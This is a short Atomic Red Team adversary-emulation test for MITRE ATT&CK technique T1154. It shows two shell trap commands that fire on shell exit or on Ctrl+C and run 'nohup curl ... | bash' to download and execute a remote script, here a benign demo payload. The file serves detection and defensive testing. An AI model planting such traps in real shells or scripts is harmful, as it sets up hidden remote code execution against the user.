atomic-red-team/Linux/Execution/Trap.md

Trap

MITRE ATT&CK Technique: T1154

trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Linux/Payloads/echo-art-fish.sh | bash' EXIT

exit

After exiting the shell, the script will download and execute.

trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Linux/Payloads/echo-art-fish.sh | bash' INT

After sending a keyboard interrupt (CTRL+C) the script will download and execute.